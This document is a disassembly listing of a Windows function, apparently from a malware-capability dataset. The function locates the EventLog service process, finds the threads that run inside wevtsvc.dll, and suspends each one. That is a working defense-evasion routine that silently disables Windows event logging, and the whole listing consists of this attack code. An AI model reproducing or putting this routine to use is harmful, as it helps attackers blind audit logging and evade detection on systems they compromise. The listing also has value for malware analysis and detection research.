Function at 0x40159a
Capabilities:
Enumerate process modules
Enumerate threads
Query service status
Suspend thread

Disassembly:
push rbp
push rdi
sub rsp, 0xa28
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x140]
mov edx, 0x800
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov qword [rbp + 0x990], 0x800
mov dword [rbp + 0x13c], 0
mov dword [rbp + 0x98c], 0
mov qword [rbp + 0x980], 0
lea rdx, [rbp + 0x30]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp + 0x978], 0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], 0
mov qword [rbp + 8], 0
mov dword [rbp + 4], 0
lea rcx, str.ntdll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.NtQueryInformationThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x970], rax
mov dword [rbp - 0x20], 0x1c
mov r8d, 0x2000000
mov edx, 0
lea rcx, [0x0040501f]
mov rax, qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
call rax
mov qword [rbp + 0x968], rax
mov rax, qword [rbp + 0x968]
mov r8d, 0x2000000
lea rdx, str.EventLog
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_OpenServiceA]
call rax
mov qword [rbp + 0x960], rax
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov dword [rbp - 0x30], 0
lea rdx, [rbp - 0x50]
mov rcx, qword [rbp + 0x960]
lea rax, [rbp + 4]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
mov r8, rdx
mov edx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
call rax
mov eax, dword [rbp - 0x34]
mov dword [rbp + 0x95c], eax
mov eax, dword [rbp + 0x95c]
mov r8d, eax
mov edx, 0
mov ecx, 0x2000000
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x950], rax
mov edx, 0
mov ecx, 4
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x948], rax
mov rax, qword [rbp + 0x990]
mov r8d, eax
lea rdx, [rbp + 0x13c]
lea rax, [rbp + 0x140]
mov rcx, qword [rbp + 0x950]
mov r9, rdx
mov rdx, rax
call sym.EnumProcessModules
mov eax, dword [rbp + 0x13c]
shr eax, 3
mov eax, eax
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x998], 0
jmp 0x401829
mov rax, qword [rbp + 0x998]
mov rax, qword [rbp + rax*8 + 0x140]
mov qword [rbp + 0x978], rax
lea rcx, [rbp + 0x30]
mov rdx, qword [rbp + 0x978]
mov rax, qword [rbp + 0x950]
mov r9d, 0x100
mov r8, rcx
mov rcx, rax
call sym.GetModuleBaseNameA
lea rax, [rbp + 0x30]
lea rdx, str.wevtsvc.dll
mov rcx, rax
call sym.wcscmp
test eax, eax
jne 0x401821
mov rdx, qword [rbp + 0x978]
lea rax, [rbp + 0x30]
mov r8, rdx
mov rdx, rax
lea rcx, str.Windows_EventLog_module__S_at__p_n_n
call sym.printf
lea rcx, [rbp + 0x10]
mov rdx, qword [rbp + 0x978]
mov rax, qword [rbp + 0x950]
mov r9d, 0x18
mov r8, rcx
mov rcx, rax
call sym.GetModuleInformation
add qword [rbp + 0x998], 1
mov rax, qword [rbp + 0x998]
cmp rax, qword [rbp + 0x980]
jb 0x401791
lea rax, [rbp - 0x20]
mov rcx, qword [rbp + 0x948]
mov rdx, rax
call sym.Thread32First
jmp 0x401910
mov eax, dword [rbp - 0x14]
cmp dword [rbp + 0x95c], eax
jne 0x401910
mov eax, dword [rbp - 0x18]
mov r8d, eax
mov edx, 0
mov ecx, 0x2000000
mov rax, qword [sym.imp.KERNEL32.dll_OpenThread]
call rax
mov qword [rbp + 0x940], rax
lea rdx, [rbp + 8]
mov rcx, qword [rbp + 0x940]
mov qword [rsp + 0x20], 0
mov rax, qword [rbp + 0x970]
mov r9d, 8
mov r8, rdx
mov edx, 9
call rax
mov rax, qword [rbp + 0x10]
mov rdx, rax
mov rax, qword [rbp + 8]
cmp rdx, rax
ja 0x401910
mov rax, qword [rbp + 0x10]
mov rdx, rax
mov eax, dword [rbp + 0x18]
mov eax, eax
add rdx, rax
mov rax, qword [rbp + 8]
cmp rdx, rax
jb 0x401910
mov rdx, qword [rbp + 8]
mov eax, dword [rbp - 0x18]
mov r8, rdx
mov edx, eax
lea rcx, str.Suspending_EventLog_thread__d_with_start_address__p_n
call sym.printf
mov rax, qword [rbp + 0x940]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SuspendThread]
call rax
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp - 0x20]
mov rcx, qword [rbp + 0x948]
mov rdx, rax
call sym.Thread32Next
test eax, eax
jne 0x401855
nop
add rsp, 0xa28
pop rdi
pop rbp
ret